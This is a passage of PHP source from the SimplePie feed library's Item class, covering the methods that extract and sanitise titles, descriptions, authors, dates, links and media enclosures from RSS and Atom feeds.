(!is_callable($fn)) { trigger_error('User-supplied function $fn must be callable', E_USER_WARNING); $fn = 'md5'; } return call_user_func( $fn, $this->get_permalink().$this->get_title().$this->get_content() ); } /** * Get the title of the item * * Uses `<atom:title>`, `<title>` or `<dc:title>` * * @since Beta 2 (previously called `get_item_title` since 0.8) * @return string|null */ public function get_title() { if (!isset($this->data['title'])) { if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) { $this->data['title'] = $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $this->data['title'] = null; } } return $this->data['title']; } /** * Get the content for the item * * Prefers summaries over full content , but will return full content if a * summary does not exist. * * To prefer full content instead, use {@see get_content} * * Uses `<atom:summary>`, `<description>`, `<dc:description>` or * `<itunes:subtitle>` * * @since 0.8 * @param boolean $description_only Should we avoid falling back to the content? * @return string|null */ public function get_description($description_only = false) { if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'summary')) && ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'summary')) && ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) && ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) && ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) && ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) { return $return; } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) && ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) { return $return; } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) && ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) && ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT))) { return $return; } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) && ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML))) { return $return; } elseif (!$description_only) { return $this->get_content(true); } return null; } /** * Get the content for the item * * Prefers full content over summaries, but will return a summary if full * content does not exist. * * To prefer summaries instead, use {@see get_description} * * Uses `<atom:content>` or `<content:encoded>` (RSS 1.0 Content Module) * * @since 1.0 * @param boolean $content_only Should we avoid falling back to the description? * @return string|null */ public function get_content($content_only = false) { if (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'content')) && ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_10_content_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'content')) && ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', [$tags[0]['attribs']]), $this->get_base($tags[0])))) { return $return; } elseif (($tags = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10_MODULES_CONTENT, 'encoded')) && ($return = $this->sanitize($tags[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($tags[0])))) { return $return; } elseif (!$content_only) { return $this->get_description(true); } return null; } /** * Get the media:thumbnail of the item * * Uses `<media:thumbnail>` * * * @return array|null */ public function get_thumbnail() { if (!isset($this->data['thumbnail'])) { if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) { $this->data['thumbnail'] = $return[0]['attribs']['']; } else { $this->data['thumbnail'] = null; } } return $this->data['thumbnail']; } /** * Get a category for the item * * @since Beta 3 (previously called `get_categories()` since Beta 2) * @param int $key The category that you want to return. Remember that arrays begin with 0, not 1 * @return \SimplePie\Category|null */ public function get_category($key = 0) { $categories = $this->get_categories(); if (isset($categories[$key])) { return $categories[$key]; } return null; } /** * Get all categories for the item * * Uses `<atom:category>`, `<category>` or `<dc:subject>` * * @since Beta 3 * @return \SimplePie\Category[]|null List of {@see \SimplePie\Category} objects */ public function get_categories() { $categories = []; $type = 'category'; foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, $type) as $category) { $term = null; $scheme = null; $label = null; if (isset($category['attribs']['']['term'])) { $term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', [$term, $scheme, $label, $type]); } foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, $type) as $category) { // This is really the label, but keep this as the term also for BC. // Label will also work on retrieving because that falls back to term. $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); if (isset($category['attribs']['']['domain'])) { $scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $scheme = null; } $categories[] = $this->registry->create('Category', [$term, $scheme, null, $type]); } $type = 'subject'; foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, $type) as $category) { $categories[] = $this->registry->create('Category', [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]); } foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, $type) as $category) { $categories[] = $this->registry->create('Category', [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null, $type]); } if (!empty($categories)) { return array_unique($categories); } return null; } /** * Get an author for the item * * @since Beta 2 * @param int $key The author that you want to return. Remember that arrays begin with 0, not 1 * @return \SimplePie\Author|null */ public function get_author($key = 0) { $authors = $this->get_authors(); if (isset($authors[$key])) { return $authors[$key]; } return null; } /** * Get a contributor for the item * * @since 1.1 * @param int $key The contrbutor that you want to return. Remember that arrays begin with 0, not 1 * @return \SimplePie\Author|null */ public function get_contributor($key = 0) { $contributors = $this->get_contributors(); if (isset($contributors[$key])) { return $contributors[$key]; } return null; } /** * Get all contributors for the item * * Uses `<atom:contributor>` * * @since 1.1 * @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects */ public function get_contributors() { $contributors = []; foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) { $name = null; $uri = null; $email = null; if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0])); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $contributors[] = $this->registry->create('Author', [$name, $uri, $email]); } } foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) { $name = null; $url = null; $email = null; if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0])); } if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $contributors[] = $this->registry->create('Author', [$name, $url, $email]); } } if (!empty($contributors)) { return array_unique($contributors); } return null; } /** * Get all authors for the item * * Uses `<atom:author>`, `<author>`, `<dc:creator>` or `<itunes:author>` * * @since Beta 2 * @return \SimplePie\Author[]|null List of {@see \SimplePie\Author} objects */ public function get_authors() { $authors = []; foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) { $name = null; $uri = null; $email = null; if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) { $name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) { $uri = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0])); } if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) { $email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $uri !== null) { $authors[] = $this->registry->create('Author', [$name, $uri, $email]); } } if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) { $name = null; $url = null; $email = null; if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) { $name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) { $url = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0])); } if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) { $email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if ($name !== null || $email !== null || $url !== null) { $authors[] = $this->registry->create('Author', [$name, $url, $email]); } } if ($author = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'author')) { $authors[] = $this->registry->create('Author', [null, null, $this->sanitize($author[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)]); } foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) { $authors[] = $this->registry->create('Author', [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) { $authors[] = $this->registry->create('Author', [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) { $authors[] = $this->registry->create('Author', [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]); } if (!empty($authors)) { return array_unique($authors); } elseif (($source = $this->get_source()) && ($authors = $source->get_authors())) { return $authors; } elseif ($authors = $this->feed->get_authors()) { return $authors; } return null; } /** * Get the copyright info for the item * * Uses `<atom:rights>` or `<dc:rights>` * * @since 1.1 * @return string */ public function get_copyright() { if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) { return $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0])); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) { return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } return null; } /** * Get the posting date/time for the item * * Uses `<atom:published>`, `<atom:updated>`, `<atom:issued>`, * `<atom:modified>`, `<pubDate>` or `<dc:date>` * * Note: obeys PHP's timezone setting. To get a UTC date/time, use * {@see get_gmdate} * * @since Beta 2 (previously called `get_item_date` since 0.8) * * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data) * @return int|string|null */ public function get_date($date_format = 'j F Y, g:i a') { if (!isset($this->data['date'])) { if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'published')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'pubDate')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'date')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'date')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'issued')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'created')) { $this->data['date']['raw'] = $return[0]['data']; } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'modified')) { $this->data['date']['raw'] = $return[0]['data']; } if (!empty($this->data['date']['raw'])) { $parser = $this->registry->call('Parse_Date', 'get'); $this->data['date']['parsed'] = $parser->parse($this->data['date']['raw']); } else { $this->data['date'] = null; } } if ($this->data['date']) { $date_format = (string) $date_format; switch ($date_format) { case '': return $this->sanitize($this->data['date']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT); case 'U': return $this->data['date']['parsed']; default: return date($date_format, $this->data['date']['parsed']); } } return null; } /** * Get the update date/time for the item * * Uses `<atom:updated>` * * Note: obeys PHP's timezone setting. To get a UTC date/time, use * {@see get_gmdate} * * @param string $date_format Supports any PHP date format from {@see http://php.net/date} (empty for the raw data) * @return int|string|null */ public function get_updated_date($date_format = 'j F Y, g:i a') { if (!isset($this->data['updated'])) { if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'updated')) { $this->data['updated']['raw'] = $return[0]['data']; } if (!empty($this->data['updated']['raw'])) { $parser = $this->registry->call('Parse_Date', 'get'); $this->data['updated']['parsed'] = $parser->parse($this->data['updated']['raw']); } else { $this->data['updated'] = null; } } if ($this->data['updated']) { $date_format = (string) $date_format; switch ($date_format) { case '': return $this->sanitize($this->data['updated']['raw'], \SimplePie\SimplePie::CONSTRUCT_TEXT); case 'U': return $this->data['updated']['parsed']; default: return date($date_format, $this->data['updated']['parsed']); } } return null; } /** * Get the localized posting date/time for the item * * Returns the date formatted in the localized language. To display in * languages other than the server's default, you need to change the locale * with {@link http://php.net/setlocale setlocale()}. The available * localizations depend on which ones are installed on your web server. * * @since 1.0 * * @param string $date_format Supports any PHP date format from {@see http://php.net/strftime} (empty for the raw data) * @return int|string|null */ public function get_local_date($date_format = '%c') { if (!$date_format) { return $this->sanitize($this->get_date(''), \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif (($date = $this->get_date('U')) !== null && $date !== false) { return strftime($date_format, $date); } return null; } /** * Get the posting date/time for the item (UTC time) * * @see get_date * @param string $date_format Supports any PHP date format from {@see http://php.net/date} * @return int|string|null */ public function get_gmdate($date_format = 'j F Y, g:i a') { $date = $this->get_date('U'); if ($date === null) { return null; } return gmdate($date_format, $date); } /** * Get the update date/time for the item (UTC time) * * @see get_updated_date * @param string $date_format Supports any PHP date format from {@see http://php.net/date} * @return int|string|null */ public function get_updated_gmdate($date_format = 'j F Y, g:i a') { $date = $this->get_updated_date('U'); if ($date === null) { return null; } return gmdate($date_format, $date); } /** * Get the permalink for the item * * Returns the first link available with a relationship of "alternate". * Identical to {@see get_link()} with key 0 * * @see get_link * @since 0.8 * @return string|null Permalink URL */ public function get_permalink() { $link = $this->get_link(); $enclosure = $this->get_enclosure(0); if ($link !== null) { return $link; } elseif ($enclosure !== null) { return $enclosure->get_link(); } return null; } /** * Get a single link for the item * * @since Beta 3 * @param int $key The link that you want to return. Remember that arrays begin with 0, not 1 * @param string $rel The relationship of the link to return * @return string|null Link URL */ public function get_link($key = 0, $rel = 'alternate') { $links = $this->get_links($rel); if ($links && $links[$key] !== null) { return $links[$key]; } return null; } /** * Get all links for the item * * Uses `<atom:link>`, `<link>` or `<guid>` * * @since Beta 2 * @param string $rel The relationship of links to return * @return array|null Links found for the item (strings) */ public function get_links($rel = 'alternate') { if (!isset($this->data['links'])) { $this->data['links'] = []; foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link)); } } foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) { if (isset($link['attribs']['']['href'])) { $link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate'; $this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link)); } } if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0])); } if ($links = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'guid')) { if (!isset($links[0]['attribs']['']['isPermaLink']) || strtolower(trim($links[0]['attribs']['']['isPermaLink'])) === 'true') { $this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0])); } } $keys = array_keys($this->data['links']); foreach ($keys as $key) { if ($this->registry->call('Misc', 'is_isegment_nz_nc', [$key])) { if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) { $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]); $this->data['links'][$key] =& $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]; } else { $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key]; } } elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) { $this->data['links'][substr($key, 41)] =& $this->data['links'][$key]; } $this->data['links'][$key] = array_unique($this->data['links'][$key]); } } if (isset($this->data['links'][$rel])) { return $this->data['links'][$rel]; } return null; } /** * Get an enclosure from the item * * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS. * * @since Beta 2 * @todo Add ability to prefer one type of content over another (in a media group). * @param int $key The enclosure that you want to return. Remember that arrays begin with 0, not 1 * @return \SimplePie\Enclosure|null */ public function get_enclosure($key = 0, $prefer = null) { $enclosures = $this->get_enclosures(); if (isset($enclosures[$key])) { return $enclosures[$key]; } return null; } /** * Get all available enclosures (podcasts, etc.) * * Supports the <enclosure> RSS tag, as well as Media RSS and iTunes RSS. * * At this point, we're pretty much assuming that all enclosures for an item * are the same content. Anything else is too complicated to * properly support. * * @since Beta 2 * @todo Add support for end-user defined sorting of enclosures by type/handler (so we can prefer the faster-loading FLV over MP4). * @todo If an element exists at a level, but its value is empty, we should fall back to the value from the parent (if it exists). * @return \SimplePie\Enclosure[]|null List of \SimplePie\Enclosure items */ public function get_enclosures() { if (!isset($this->data['enclosures'])) { $this->data['enclosures'] = []; // Elements $captions_parent = null; $categories_parent = null; $copyrights_parent = null; $credits_parent = null; $description_parent = null; $duration_parent = null; $hashes_parent = null; $keywords_parent = null; $player_parent = null; $ratings_parent = null; $restrictions_parent = null; $thumbnails_parent = null; $title_parent = null; // Let's do the channel and item-level ones first, and just re-use them if we need to. $parent = $this->get_feed(); // CAPTIONS if ($captions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) { foreach ($captions as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $captions_parent[] = $this->registry->create('Caption', [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]); } } elseif ($captions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'text')) { foreach ($captions as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $captions_parent[] = $this->registry->create('Caption', [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]); } } if (is_array($captions_parent)) { $captions_parent = array_values(array_unique($captions_parent)); } // CATEGORIES foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', [$term, $scheme, $label]); } foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'category') as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', [$term, $scheme, $label]); } foreach ((array) $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'category') as $category) { $term = null; $scheme = 'http://www.itunes.com/dtds/podcast-1.0.dtd'; $label = null; if (isset($category['attribs']['']['text'])) { $label = $this->sanitize($category['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', [$term, $scheme, $label]); if (isset($category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'])) { foreach ((array) $category['child'][\SimplePie\SimplePie::NAMESPACE_ITUNES]['category'] as $subcategory) { if (isset($subcategory['attribs']['']['text'])) { $label = $this->sanitize($subcategory['attribs']['']['text'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $categories_parent[] = $this->registry->create('Category', [$term, $scheme, $label]); } } } if (is_array($categories_parent)) { $categories_parent = array_values(array_unique($categories_parent)); } // COPYRIGHT if ($copyright = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) { $copyright_url = null; $copyright_label = null; if (isset($copyright[0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($copyright[0]['data'])) { $copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $copyrights_parent = $this->registry->create('Copyright', [$copyright_url, $copyright_label]); } elseif ($copyright = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'copyright')) { $copyright_url = null; $copyright_label = null; if (isset($copyright[0]['attribs']['']['url'])) { $copyright_url = 